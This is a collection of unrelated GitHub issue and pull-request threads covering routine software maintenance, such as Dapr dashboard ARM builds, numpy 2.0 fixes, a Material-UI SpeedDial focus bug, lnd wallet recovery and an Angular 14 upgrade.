Please, consider adding support for ARM architecture

Hello,
I am trying to install dapr 0.10.0 on k3s running on a Raspberry Pi. dapr itself works fine, but dashboard fails - its Helm chart points to a non-arm container. As a result, pod fails with "exec format error".
Also, in 0.10.0, running dapr init on a Raspberry Pi fails with "error downloading dashboard binary: version not found from url: https://github.com/dapr/dashboard/releases/download/v0.2.0/dashboard_linux_arm.tar.gz".
There is a workaround though - I did try to compile dashboard on a Pi and it "mostly" worked. Using 0.2.0 sources, I followed build.sh steps:

npm i fails consistently, but I think it is my Pi. On Windows it works fine
build.sh does not have arm as a platform in platforms. For my local build, I adjusted build.sh as platforms=("linux_arm")
copied to Pi dist folder from Angular build I did on Windows
./build.sh --generate-artifacts --release-version 0.2.0 works as expected. It also generates dashboard_linux_arm.tar.gz
running ./dashboard locally works (curl -v http://localhost:8080 returns start page of the dashboard).

What's not working for me is Docker container (probably I am doing something wrong):

docker build -t airiam/dapr-dashboard-unofficial-arm:0.2.0 . works
executing docker run -it --rm -p 8080:8080 --name dapr-dashboard airiam/dapr-dashboard-unofficial-arm:0.2.0 locally starts the container and I can see "Dapr Dashboard running on http://localhost:8080". Calling the URL (i.e. curl -v http://localhost:8080) fails with "connection reset by peer". Internet said that it might be caused by wrong port mapping, but Docker command looks correct to me.

I am not sure if adding "linux_arm" to build.sh is enough given that I can't confirm that everything works locally on a Pi. Can it be Go version? On the Pi I have "go version go1.13.5 linux/arm". Thank you!

Thanks for raising this issue.
We should have the dashboard work on ARM architecture, especially now that we're automatically installing it.
/cc @youngbupark @mchmarny

executing docker run -it --rm -p 8080:8080 --name dapr-dashboard airiam/dapr-dashboard-unofficial-arm:0.2.0 locally starts the container and I can see "Dapr Dashboard running on http://localhost:8080". Calling the URL (i.e. curl -v http://localhost:8080) fails with "connection reset by peer". Internet said that it might be caused by wrong port mapping, but Docker command looks correct to me.

The dashboard is meant to run as a Pod inside your k3s cluster, or if you're running Dapr outside of k8s, as a standalone process. Running it with docker run is not supported due to networking/filesystem limitations.

Instead of using docker run, pushing to a remote image and applying a manifest file may do the trick. See https://github.com/dapr/dashboard/blob/master/docs/development/build_kubernetes.sh#L38 (Line 38 onwards) for some context. Workflow may look like the following:

Create dapr-dashboard-unofficial-arm.yaml (https://github.com/dapr/dashboard/blob/master/docs/development/development_guide.md#apply-new-deployment)
Delete old dashboard pods
kubectl apply -f ./dapr-dashboard-unofficial-arm.yaml
dapr dashboard -k

Of course, this would be a temporary workaround, and I'd love to see/ assist in adding ARM support @yaron2

That's what I just did and I can confirm that dashboard works fine. My unofficial image is at: https://hub.docker.com/repository/docker/airiam/dapr-dashboard-unofficial-arm. If that's OK, I would like to leave it for the next couple of days and will delete it afterwards.

It's your repo, you can leave it for as long as you want :)

Just added support to it in the merged PR above.

@artursouza can we close it ?

closed via https://github.com/dapr/dapr/issues/2107


Initialize backend based on backend type

Adding a backend factory to initialize the backend based on type provided by caller of dtf-go library.

@ASHIQUEMD can you provide a link to the discussion that's prompting this PR? It feels a little out of place here without more context.

Closing this PR based on the discussion in dapr/dapr PR.


MAINT: numpy 2.0 moved VisibleDeprecationWarning

Otherwise self-tests simply hang: np.VisibleDeprecatinWarning is not found at https://github.com/ev-br/scpdt/blob/main/scpdt/impl.py#L254, so we get into the except Exception: branch and it all goes downhill from there.
cross-ref https://github.com/ev-br/scpdt/issues/79#issuecomment-1963747649

There will be more of these. Will be easier to smoke them out when there is a numpy-2.0 compatible scipy build

The lack of numpy 2.0 compatible matplotlib is a blocker. Self-tests pass when skipping MPL (cross-ref gh-131) though. FWIW.

OK, run tests locally with numpy 2.0 and MPL 3.8.3. The only fix here was to adjust the MPL filter for the display-less backend. SciPy branch had to adjust a bit to the numpy 2.0 scalar repr, the main one is gh-147.
Merging this now to test  https://github.com/scipy/scipy/pull/20127


Support More Platform-bridge Payments Method

Please review and if there's question, please don't hesitate to ask.

Sorry for the inconvenient, closing it in favor of webview.
Thank you.

Sorry for the inconvenient, closing it in favor of webview.
Thank you.


PDF: Values set for @expanse attribute are not used

For the PDF2 transformation and the codeblock, fig, and pre elements, there is no difference when expanse="page" versus expanse="column".
I would have expected expanse="page" to force the element to be rendered aligned with the page margin (where H1 begins) as opposed to being rendered aligned with the indentation that is specified for the content.
Per the DITA 1.3 spec at http://docs.oasis-open.org/dita/dita/v1.3/os/part1-base/langRef/attributes/displayAttributes.html#display-atts:

@expanse
Determines the horizontal placement of the element. Allowable values are:
page
Places the element on the left page margin for left-to-right presentation, or right page margin for right-to-left presentation.
column
Aligns the element with the current column margin
textline
Aligns the element with the left (for left to right presentation) or right (for right to left presentation) margin of the current text line and takes indention into account.
spread
Indicates that, if possible, the object should be rendered across a multi-page spread. If the rendition target does not have anything corresponding to spreads then spread has the same meaning as "page".
-dita-use-conref-target
See Using the -dita-use-conref-target value for more information.
In DITA tables, in place of the @expanse attribute used by other DITA elements, the @pgwide attribute is used in order to conform to the OASIS Exchange Table Model. The @pgwide attribute has a similar semantic (1=page width; 0=resize to galley or column).
Some DITA processors or output formats might not be able to support all values.

Does the DITA-OT transformation NOT support the @expanse attribute?
I have a ZIP that contains a test set of files, but I cannot attach it here.

I don't see any support for @expanse on any element. It looks like it should be present on these (possible I've missed some):

fig
pre, and specializations (codeblock, msgblock, screen all have their own overrides in PDF)
lines
simpletable

We do currently support @pgwide on <table> -- when set to page, we add start-indent="0"  end-indent="0" width="auto" to get the full page spanning. [This doesn't seem to work in the initial chapter from a bookmap, as it just causes the table to expand to the full column, but I'm using it as the basis for @expanse support at the moment.]

I've had trouble getting "column" to work as I'd hoped - I think the required margin setting is beyond my current FO skills. For now I'm setting this up so that all of the elements listed above work with expanse="page". Current test code is set up to mimic the way that @frame is evaluated on the same elements, with an attribute set for each value; for now, all sets except expanse="page" are empty.

Completed with #2352


vaping stop doesn't work if running start --debug

If you
vaping start --debug
and then try
vaping stop
you just get errors. should still stop vaping.

Caused if using zeromq since it tries to bind on init


Add CommandLineUtils to Orbit main

Required for b/202262468, slight refactoring of utility methods in main.cpp to be able to unit-test them.
If we want to enforce the "Orbit" module to only contain "main.cpp" and nothing else, this could be moved into a different module, but it will be very closely related to how certain parameters are handled in main.cpp (e.g. connection_target in the future).

After talking to @beckerhe, I've moved this into a separate module


SpeedDial remains open once a drawer closes

[x] The issue is present in the latest release.
[x] I have searched the issues of this repository and believe that this is not a duplicate.

Current Behavior 😯
You'll find a simple codesandbox that reproduces use case.

By clicking on a SpeedDial action, I want to open a drawer.
On drawer opening, I simultaneously close SpeedDial.
Once the drawer is closed, by clicking outside of it, I can see that SpeedDial action has opened again.

Expected Behavior 🤔

I expect SpeedDial to remain closed, after closing Drawer

Steps to Reproduce 🕹
https://codesandbox.io/s/serene-lederberg-r8cbz?file=/src/App.js:1417-1430
Steps:

Run codesandbox : bug can be reproduced immediatly
Uncomment line 35, it looks like adding a timeout is a workaround

NB : This workaround doesn't work when you switch to another browser's tab, and then come back : SpeedDial is visible again !
Context 🔦
I would like to use a SpeedDial to offer an "edit" features to user.
I would like to "edit" current webpage main content inside a right side drawer
Your Environment 🌎

`npx @material-ui/envinfo`
System:
OS: Linux 4.19 Ubuntu 18.04.5 LTS (Bionic Beaver)
Binaries:
Node: 12.22.2 - /usr/bin/node
Yarn: Not Found
npm: 6.14.13 - /usr/bin/npm
Browsers:
Chrome: Version 91.0.4472.164
Firefox: Not Found
npmPackages:
@emotion/styled:  10.0.27
@material-ui/core: ^4.12.2 => 4.12.2
@material-ui/icons: ^4.11.2 => 4.11.2
@material-ui/lab: ^4.0.0-alpha.60 => 4.0.0-alpha.60
@material-ui/pickers: ^3.3.10 => 3.3.10
@material-ui/styles:  4.11.4
@material-ui/system:  4.12.1
@material-ui/types:  5.1.0
@material-ui/utils:  4.11.2
@types/react:  17.0.6
react: ^17.0.2 => 17.0.2
react-dom: ^17.0.2 => 17.0.2
styled-components:  5.3.0
typescript: ^4.3.4 => 4.3.4

Sidenotes :

I feel uncomfortable with the fact that ariaLabel is used to generate id :

Thanks for your help, I'm ready to give more details.

Thanks for the feedback.
This is intended behavior. When closing the drawer, focus is restored to the previously focused element which was the SpeedDialAction.
You probably want to prevent click-focus here:
  <SpeedDialAction
    icon={<EditIcon />}
    tooltipTitle="edit"
+   onMouseDown={event => event.preventDefault()}
    onClick={() => {
      handleCloseSD();
      handleOpenD();
    }}
  />


Add other libs

Add:

Monitoring of DiectLibc
Monitoring of Musl
Monitoring of Alpine (has only musl)
Had to change the regex to extract symbols (no @@GLIBC after symbols). To do so, I pulled the one of @blukat29 (https://github.com/blukat29/libc-database/commit/287ca62960181a6bbd206e679c7331cae305a87b#diff-6f1488814a51063192c9aabb59112ef1R11)

Requirements:

Require merging #24

please rebase on top of master

I've rebased on top of #24, because it use some sutff of it

Ok, will rebase it when #24 will be merged.

can you rebase this?


<EMAIL_ADDRESS>decompress error

# Running: scoop update ultravnc

Updating 'UltraVNC' (<IP_ADDRESS> -> <IP_ADDRESS>)
Downloading new version
Downloading https://uvnc.com/component/jdownloads/send/0-/437-ultravnc-1-4-09-bin-zip.html?Itemid=0#/dl.zip (0 B)...

Checking hash of 437-ultravnc-1-4-09-bin-zip.html ... ok.
Uninstalling 'UltraVNC' (<IP_ADDRESS>)
Removing shim 'vncviewer.shim'.
Removing shim 'vncviewer.exe'.
Removing shim 'winvnc.shim'.
Removing shim 'winvnc.exe'.
Unlinking N:\Portable\Scoop\tomachi\apps\UltraVNC\current
Installing 'UltraVNC' (<IP_ADDRESS>) [64bit] from extras bucket
Loading 437-ultravnc-1-4-09-bin-zip.html from cache
Extracting dl.zip ... ERROR Exit code was 2!
Failed to extract files from N:\Portable\Scoop\tomachi\apps\UltraVNC\<IP_ADDRESS>\dl.zip.
Log file:
  N:\Portable\Scoop\tomachi\apps\UltraVNC\<IP_ADDRESS>\7zip.log

Please try again or create a new issue by using the following link and paste your console output:
https://github.com/lukesampson/scoop-extras/issues/new?title=UltraVNC%4<IP_ADDRESS>%3a+decompress+error

I just issued the following issue with a failed hash check: #10883
It seems that you are getting a 0 byte file, so the file that should be downloaded seems to be different...🤔

Most of the time the download url is available, please retry.
❯ scoop install ultravnc
Installing 'ultravnc' (<IP_ADDRESS>) [64bit] from extras bucket
437-ultravnc-1-4-09-bin-zip.html (5.1 MB) [===============================================================================] 100%
Checking hash of 437-ultravnc-1-4-09-bin-zip.html ... ok.
Extracting dl.zip ... done.
Linking ~\scoop\apps\ultravnc\current => ~\scoop\apps\ultravnc\<IP_ADDRESS>
Creating shim for 'vncviewer'.
Creating shim for 'winvnc'.
Creating shortcut for VNC Viewer (vncviewer.exe)
Creating shortcut for WinVNC (winvnc.exe)
'ultravnc' (<IP_ADDRESS>) was installed successfully!


unable to re-create old wallet - rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing dial tcp <IP_ADDRESS>:10009: connect: connection refused"

Background
trying to re-create wallet with onchain funds in there
Your environment
lnd 0.13.1-beta
OS ubuntu 20 lts
bitcoind over TOR
Steps to reproduce
after new install, lncli create new wallet, write down password, 24 word seed, no passphrase, bos chain-deposit - deposit onchain funds into wallet, then again make new install, lncli create wallet, input written down password, input written down 24 word seed, no pasphrase
Expected behaviour
expected to see my old wallet recreated with onchain funds present
Actual behaviour
[lncli] rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing dial tcp <IP_ADDRESS>:10009: connect: connection refused"

You need to start lnd first before you can do lncli create.

that helped thanks
tried again - lncli create wallet, input written down password, input written down 24 word seed, no pasphrase
[lncli] rpc error: code = Unknown desc = wallet already exists
P.S. This wallet was originally build in AWS EC Instance. Instance is deleted now and I am trying to re-create this wallet on my local comp.

Did you copy any files from the EC instance? Are you trying to just re-run the original wallet or did that wallet crash and you actually need to run the disaster recovery?
Re-installing lnd doesn't solve the problem, it's that you already have files in ~/.lnd. If you still have funds in that old local node then you should try a different machine or temporarily move that folder away.

no, i did not copy any files from EC2 instance ... there were no channels open at all, just onchain funds deposit ... that I am trying to recover somehow ... so I guess no need for disaster recovery
in my old local comp node I had no onchain funds, no channels at all, I can just delete it.
I am trying to re-create EC2 node on my local comp to get hold of onchain funds there and start opening channels if everything works fine

okay, then this should get you covered:

make sure lnd isn't running on the local machine
remove the .lnd directory (or rename it to something else just to be safe)
start lnd
run lncli create, use the seed you had from the EC2 instance
wait for lncli getinfo to report synced_to_chain: true
check your wallet balance

I'm going to close the issue since there doesn't seem to be a problem with lnd itself.
I suggest to join our community Slack (https://lightning.engineering/slack.html) if you need more assistance.


[AccessEnforcementOpts] Fix an iterator invalidation issue

visitSetForConflicts Had a bug wherein we might change the accessSet while iterating over it by recording a conflict. This makes our current iterator invalid.
Work-around this issue by restarting the iteration in case we made any changes to the accessSet

@swift-ci Please smoke test and merge

@swift-ci Please clean smoke test and merge

@swift-ci Please clean smoke test and merge


Added Suicide Prevention and Predicting Model along with their Word Analysis

Made the model successfully to work faster than traditionals.
Kept the dataset zone clean for users with comments to use their own dataset or the one used to build the model ,as the dataset used is too large to be kept in a repository.
Includes all word analysis for accurate detection of any signs of suicide attempts.

@Atharv714 Sir is there a problem with my task?

@TAHIR0110 @Atharv714 @sanjay-kv Sir, is there a problem with this task? I have not received any update on this. Also there might be a problem with the level assigned to me under GSSOC'24, is it supposed to be level 2 instead of label 2?

Im not sure what exactly happening here, admins usually takes time to merge and reply you back. I hope this task is assigned to you

yep this task is assigned to me ,with some issues regarding the level of assignment, its just there's no update regarding my PR ,tho I see other PRs getting merged or updated.


update readme

update package name of this fork in readme example
By submitting a PR to this repository, you agree to the terms within the Auth0 Code of Conduct. Please see the contributing guidelines for how to create and submit a high-quality PR for this repo.
Description

Describe the purpose of this PR along with any background information and the impacts of the proposed change. For the benefit of the community, please do not assume prior context.
Provide details that support your chosen implementation, including: breaking changes, alternatives considered, changes to the API, etc.
If the UI is being changed, please provide screenshots.

References

Include any links supporting this change such as a:

GitHub Issue/PR number addressed or fixed
Auth0 Community post
StackOverflow post
Support forum thread
Related pull requests/issues from other repos

If there are no references, simply delete this section.

Testing

Describe how this can be tested by reviewers. Be specific about anything not tested and reasons why. If this library has unit and/or integration testing, tests should be added for new functionality and existing tests should complete without errors.
Please include any manual steps for testing end-to-end or functionality not covered by unit/integration tests.
Also include details of the environment this PR was developed in (language/platform/browser version).

[ ] This change adds test coverage for new/changed/fixed functionality

Checklist

[ ] I have added documentation for new/changed functionality in this PR or in auth0.com/docs
[ ] All active GitHub checks for tests, formatting, and security are passing
[ ] The correct base branch is being used, if not master

@andrewrk Could you please merge? Also could you please open the issue tracker for this repository and update the dependencies (aws-sdk) to the latest ones?


[INLONG-8691][Security] Upgrade Node-Fetch Version

Prepare a Pull Request
(Change the title refer to the following example)

Title Example: [INLONG-XYZ][Component] Title of the pull request

(The following XYZ should be replaced by the actual GitHub Issue number)

Fixes #8691

Motivation
Upgrade Node-Fetch Version to avoid the security problems.
Modifications
Upgrade Node-Fetch Version
Verifying this change
(Please pick either of the following options)

[x] This change is a trivial rework/code cleanup without any test coverage.

[ ] This change is already covered by existing tests, such as:
(please describe tests)

[ ] This change added tests and can be verified as follows:
(example:)

Added integration tests for end-to-end deployment with large payloads (10MB)
Extended integration test for recovery after broker failure

Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)
If a feature is not applicable for documentation, explain why?
If a feature is not documented yet in this PR, please create a follow-up issue for adding the documentation

node-fetch is a dependency of umi-request, so it is a sub-dependency of this project, we should not write it directly into package.json, which may cause version conflicts.
I suggest that the best solution to this problem is to wait for the direct dependencies to be upgraded.


chore: bdd-spring-1581697602 to 0.0.1

chore: Promote bdd-spring-1581697602 to version 0.0.1

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Typo: bnb -> bsc, add explanatory ntoes

Add explanatory notes for Polygon, Gnosis Chain and BNB Chain

Good ideas, updated accordingly


Performance gap!

Hi, Thanks for your public code. I train this code only get 38.2 mAP on minival datasets. I want to know this is normal fluctuate?

The performance on minival set is unstable and I got 38.4-38.7 usually. You can evaluate FreeAnchor on test-dev set.

@zhangxiaosong18 Thanks


Development: Upgrade to Angular 14 and Jest 28

Checklist
General

[ ] I tested all changes and their related features with all corresponding user types on a test server.
[x] I chose a title conforming to the naming conventions for pull requests.

Client

[x] I followed the coding and design guidelines.

Motivation and Context

Upgrade to new major versions of Angular and Jest.
Description

Bumped dependencies
Updated form builder stuff

Status
We're currently waiting for

[x] https://github.com/just-jeb/angular-builders/issues/1219

[x] https://github.com/angular-eslint/angular-eslint/pull/1004

[x] https://github.com/danielmoncada/date-time-picker/issues/160

[ ] https://github.com/ng-bootstrap/ng-bootstrap/issues/4340

[ ] https://github.com/orizens/ngx-infinite-scroll/issues/404

[x] https://github.com/KoderLabs/ngx-device-detector/issues/247 (seems dead, unlikely to be updated but people report that it still works)

[x] After we got an update of angular-builders, we probably need to figure out a solution for the uuid ESM problem

We no longer use ngx-device-detector. 🙂
https://github.com/ls1intum/Artemis/commit/c01d5d72b3cbf9823e7fc992a80375f959ab4802

I suggest we change from ngx-infinite-scroll to use virtual scrolling with fetching as implemented in angular material, see e.g. https://zoaibkhan.com/blog/create-a-fast-infinite-scrolling-list-in-angular/
The benefit would be that angular material is maintained with angular, so we don't have external dependencies for which we need to wait

There seems to be a 13.0.0-beta.1 which ng-bootstrap which we can try out and see if it works in our case

Seems like the PR upgrading ngx-infinite-scroll just updates the dependency declarations and does not change anything on the code, so we can just try to override their peer deps for now

I've added the beta version of ng-bootstrap. This should work as the only breaking change noted in the change log is the removal of already depreacted button directives which we don't seem to use.


Code-with-us opportunity

Hello!
I'm interested in fulfilling the Code-with-us opportunity associated with this repo!
I'm submitting a proposal via the accepted channels, but figured I'd give someone a ping here to show I am ready and able to do the job. My code can be found at https://gitlab.com/Entropy_
Regards,
Ben

Hi @rainbow-punk-treant! Thanks for letting us know. I have transferred the issue to the "Protected Lands and Waters" repository.

Hi @rainbow-punk-treant! Thanks for letting us know. I have transferred the issue to the "Protected Lands and Waters" repository.


Fix FInd command with empty values

This should:

return empty list of persons when the input is empty for name, phone and email (e.d. find n/ )
return persons with no tags when input is empty for tag (e.g. find t/ )
add the relevant test cases to prove it works

Fixes #319

Not sure why the behaviour for name, phone and email should be different from that of tag. Perhaps we should disable empty parameters entirely

But we allow for the adding of contacts without tags, so then this would allow users to search for contacts without tags, as the issue described


fix --ui issues, closes #3746

also move all ui-related tests into test/integration/options/ui.spec.js

yeah, factory is a misnomer.  looking more closely, I realized that this._ui is actually a) undefined and b) never referenced.


[SDP-1185] Update the distribution account returned by the resolver from a string to an object

What
Update the distribution account returned by the resolver from a string to an object.
Also, updated the GET /organization response body by adding the "distribution_account" field:
{
  "distribution_account": {
    "id": "GBQQ7ATXREG5PXUTZ6UXR6LQRWVKVRTXLJKMN6UJCN6TGTFY7FKFUCBC",
    "type": "STELLAR",
    "status": "ACTIVE"
  },
  "distribution_account_public_key": "GBQQ7ATXREG5PXUTZ6UXR6LQRWVKVRTXLJKMN6UJCN6TGTFY7FKFUCBC",
  "is_approval_required": false,
  "logo_url": "http://localhost:8000/organization/logo?token=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoiYzU5NjUwNzAtNzZlZC00YjRjLTliODctNzZlODZmZjY2YzgyIiwiZmlyc3RfbmFtZSI6IkphbmUiLCJsYXN0X25hbWUiOiJEb2UiLCJlbWFpbCI6ImphbmUuZG9lQG93bmVyLnRlc3QiLCJpc19hY3RpdmUiOmZhbHNlLCJyb2xlcyI6WyJvd25lciJdfSwidGVuYW50X2lkIjoiZDAwMzRkMDMtMGRhNC00M2ZlLWI3YTQtNjhmYTc5MjRhMjgwIiwiZXhwIjoxNzE0NjgwNDg0fQ.EisJMwr8Hxi4pWP_2na4EABbWEXEPI7kEiEXSvsZEtVxAt5tM26iph8qh83s6b8yBfkqjU_0mjSnm6337WWGcw",
  "name": "Blue Corp",
  "payment_cancellation_period_days": 0,
  "privacy_policy_link": null,
  "sms_resend_interval": 0,
  "timezone_utc_offset": "+00:00"
}

Why
To address https://stellarorg.atlassian.net/browse/SDP-1185 and https://stellarorg.atlassian.net/browse/SDP-1168.
Checklist
PR Structure

[x] This PR has a reasonably narrow scope (if not, break it down into smaller PRs).
[x] This PR title and description are clear enough for anyone to review it.
[x] This PR does not mix refactoring changes with feature changes (split into two PRs otherwise).

Thoroughness

[x] This PR adds tests for the new functionality or fixes.
[x] This PR contains the link to the Jira ticket it addresses.

Configs and Secrets

[x] No new CONFIG variables are required -OR- the new required ones were added to the helmchart's values.yaml file.
[x] No new CONFIG variables are required -OR- the new required ones were added to the deployments (pr-preview, dev, demo, prd).
[x] No new SECRETS variables are required -OR- the new required ones were mentioned in the helmchart's values.yaml file.
[x] No new SECRETS variables are required -OR- the new required ones were added to the deployments (pr-preview secrets, dev secrets, demo secrets, prd secrets).

Release

[x] This is not a breaking change.
[x] This is ready for production.. If your PR is not ready for production, please consider opening additional complementary PRs using this one as the base. Only merge this into develop or main after it's ready for production!

Deployment

[x] Does the deployment work after merging?

stellar-disbursement-platform-backend-preview is available here:SDP:      https://sdp-backend-pr280.previews.kube001.services.stellar-ops.com/healthAP:       https://sdp-ap-pr280.previews.kube001.services.stellar-ops.com/healthFrontend: https://sdp-backend-dashboard-pr280.previews.kube001.services.stellar-ops.com

stellar-disbursement-platform-backend-preview is available here:SDP:      https://sdp-backend-pr280.previews.kube001.services.stellar-ops.com/healthAP:       https://sdp-ap-pr280.previews.kube001.services.stellar-ops.com/healthFrontend: https://sdp-backend-dashboard-pr280.previews.kube001.services.stellar-ops.com

stellar-disbursement-platform-backend-preview is available here:SDP:      https://sdp-backend-pr280.previews.kube001.services.stellar-ops.com/healthAP:       https://sdp-ap-pr280.previews.kube001.services.stellar-ops.com/healthFrontend: https://sdp-backend-dashboard-pr280.previews.kube001.services.stellar-ops.com

FYI: I'm working on a database migration in a separate branch.

stellar-disbursement-platform-backend-preview is available here:SDP:      https://sdp-backend-pr280.previews.kube001.services.stellar-ops.com/healthAP:       https://sdp-ap-pr280.previews.kube001.services.stellar-ops.com/healthFrontend: https://sdp-backend-dashboard-pr280.previews.kube001.services.stellar-ops.com

stellar-disbursement-platform-backend-preview is available here:SDP:      https://sdp-backend-pr280.previews.kube001.services.stellar-ops.com/healthAP:       https://sdp-ap-pr280.previews.kube001.services.stellar-ops.com/healthFrontend: https://sdp-backend-dashboard-pr280.previews.kube001.services.stellar-ops.com


Apparent deadlock when combining transaction and triggers

I'm using fts5 with a contentless table and triggers to update the index (https://sqlite.org/fts5.html#external_content_tables). It seems that there's something deadlocking, causing SQLITE_BUSY exception for all but one attempt, if more than one thread attempts to modify the table (using CREATE, UPDATE or DELETE), and only if each command is executed in a transaction.
I've made a gist to reproduce my issue: https://gist.github.com/MHHenriksen/b3edb0f4020e4c304b92463c3c9223a5
This is tested with Microsoft.Data.Sqlite 1.1.0, which uses Sqlite 3.13.0, but if I did it right I also reproduced it with 3.20.1.
I have a feeling that the deadlock is happening in the native sqlite library, and I know there's not much you can do about that. But one workaround is to use BEGIN IMMEDIATE, and I know you removed support for that a while back. Is this good enough reason to consider reintroducing it?
And can you help me figure out the root cause?

Here's the sqlite-users message I've sent<EMAIL_ADDRESS>I think I misremembered which version the BEGIN IMMEDIATE change was made, looks like it's #214 which only affects 2.0, so we can actually make use of IsolationLevel.Serialized since we're still running the 1.x release.
I am working on upgrading everything to .Net Core 2 though, so please consider reintroducing a way to use BEGIN IMMEDIATE. No rush, I have code in place to do it with plain commands already. :)

Duplicate of #474
We've reverted to using BEGIN IMMEDIATE with IsolationLevel.Serialized. Please let us know if the issue isn't resolved.


git actions support

Is your feature request related to a problem? Please describe.
add support to git actions
Describe the solution you'd like
when I push to remote a set of queries I define in a conf file are executed on the branch and the results are exported
Describe alternatives you've considered
none
Additional context
I would use in a simple markdown page with nice stats of my repo and ideally add a badge on the readme.md powered by gql plus add automatially in in changelog as well

Hello @obar1,
It's cool idea, we can start this idea soon and thinking about customization for badge and view.
Thank you,
Amr Hesham


MktoForms2 ReferenceError when using Firefox with Enhanced Tracking Protection set to Strict

Description
When using Firefox with Enhanced Tracking Protection set to Strict, the site (any page) renders for a moment and then goes blank when the following error is encountered:
ReferenceError: MktoForms2 is not defined

It appears that the Strict setting blocks content from https://app-abj.marketo.com and causes the reference error. Changing from Strict to Standard resolves the issue.
Steps to reproduce

In Firefox's privacy settings (about:preferences#privacy), set Enhanced Tracking Protection to Strict
Navigate to any page on https://developer.newrelic.com
Wait for page content to load
Observe page going completely blank
Open console to see error

Expected behavior
The error should not occur and the page should not go blank.
Screenshots

Yes! I had to whitelist the website on my machine for ad-blockers. The bug also seems to persist on safari on my phone. I believe chrome also shares the error.

This seems to be fixed from my testing. We did some updates to the code that handle the marketo form and I believe that work has fixed it. Feel free to reopen if this is still an issue!

Works for me as well. Thanks @jerelmiller!


Implementation of #107

Greatly increases the time to get required stats.
In the later version the karma stat would get higher up than required while the combat stats weren't increasing at the same rate.

I think that it should also give an ETA for when the stat will be at the required value.

This is a great start.
One of the concerns you'll find you have is money. You'll often find yourselves at points in the game where it wants to train stats, but it doesn't have enough income to travel to the best gym, let alone work out for more than a few seconds. This is the main hurdle that kept me from implementing ting gym workouts.
Keep playing, tweaking and updating the PR - I look forward to seeing where you get with it.

Thank you for the feedback. To fix the issue, the script will check if the player has enough money to afford the total cost of this function.


Getting error sudo python setup.py clean

Hi I'm jang
Thank you for sharing your work.
My PC enviornment is Ubuntu 16.04 LTS and I downloads tf_cnnvis on /home/jc using git.
I entered the following command :

pip install tensorflow numpy scipy h5py wget Pillow six scikit-image

git clone https://github.com/InFoCusp/tf_cnnvis.git

sudo pip install setuptools
[sudo] password for jc:  The directory '/home/jc/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/jc/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. Requirement already satisfied: setuptools in /home/jc/.local/lib/python2.7/site-packages
4.
sudo pip install six
The directory '/home/jc/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/jc/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. Requirement

jc@jc-15N540-UT50K:~/tf_cnnvis$ sudo python setup.py install
running install
running bdist_egg
running egg_info
writing requirements to tf_cnnvis.egg-info/requires.txt
writing tf_cnnvis.egg-info/PKG-INFO
writing top-level names to tf_cnnvis.egg-info/top_level.txt
writing dependency_links to tf_cnnvis.egg-info/dependency_links.txt
reading manifest file 'tf_cnnvis.egg-info/SOURCES.txt'
writing manifest file 'tf_cnnvis.egg-info/SOURCES.txt'
installing library code to build/bdist.linux-x86_64/egg
running install_lib
running build_py
creating build/bdist.linux-x86_64/egg
creating build/bdist.linux-x86_64/egg/tf_cnnvis
copying build/lib.linux-x86_64-2.7/tf_cnnvis/utils.py -> build/bdist.linux-x86_64/egg/tf_cnnvis
copying build/lib.linux-x86_64-2.7/tf_cnnvis/__init__.py -> build/bdist.linux-x86_64/egg/tf_cnnvis
copying build/lib.linux-x86_64-2.7/tf_cnnvis/tf_cnnvis.py -> build/bdist.linux-x86_64/egg/tf_cnnvis
byte-compiling build/bdist.linux-x86_64/egg/tf_cnnvis/utils.py to utils.pyc
byte-compiling build/bdist.linux-x86_64/egg/tf_cnnvis/__init__.py to __init__.pyc
byte-compiling build/bdist.linux-x86_64/egg/tf_cnnvis/tf_cnnvis.py to tf_cnnvis.pyc
creating build/bdist.linux-x86_64/egg/EGG-INFO
copying tf_cnnvis.egg-info/PKG-INFO -> build/bdist.linux-x86_64/egg/EGG-INFO
copying tf_cnnvis.egg-info/SOURCES.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying tf_cnnvis.egg-info/dependency_links.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying tf_cnnvis.egg-info/requires.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying tf_cnnvis.egg-info/top_level.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
zip_safe flag not set; analyzing archive contents...
creating 'dist/tf_cnnvis-1.0.0-py2.7.egg' and adding 'build/bdist.linux-x86_64/egg' to it
removing 'build/bdist.linux-x86_64/egg' (and everything under it)
Processing tf_cnnvis-1.0.0-py2.7.egg
Removing /usr/local/lib/python2.7/dist-packages/tf_cnnvis-1.0.0-py2.7.egg
Copying tf_cnnvis-1.0.0-py2.7.egg to /usr/local/lib/python2.7/dist-packages
tf-cnnvis 1.0.0 is already the active version in easy-install.pth

Installed /usr/local/lib/python2.7/dist-packages/tf_cnnvis-1.0.0-py2.7.egg
Processing dependencies for tf-cnnvis==1.0.0
Searching for scikit-image==0.13.1
Best match: scikit-image 0.13.1
Adding scikit-image 0.13.1 to easy-install.pth file
Installing skivi script to /usr/local/bin

Using /home/jc/.local/lib/python2.7/site-packages
Searching for six==1.11.0
Best match: six 1.11.0
Adding six 1.11.0 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for Pillow==5.0.0
Best match: Pillow 5.0.0
Adding Pillow 5.0.0 to easy-install.pth file

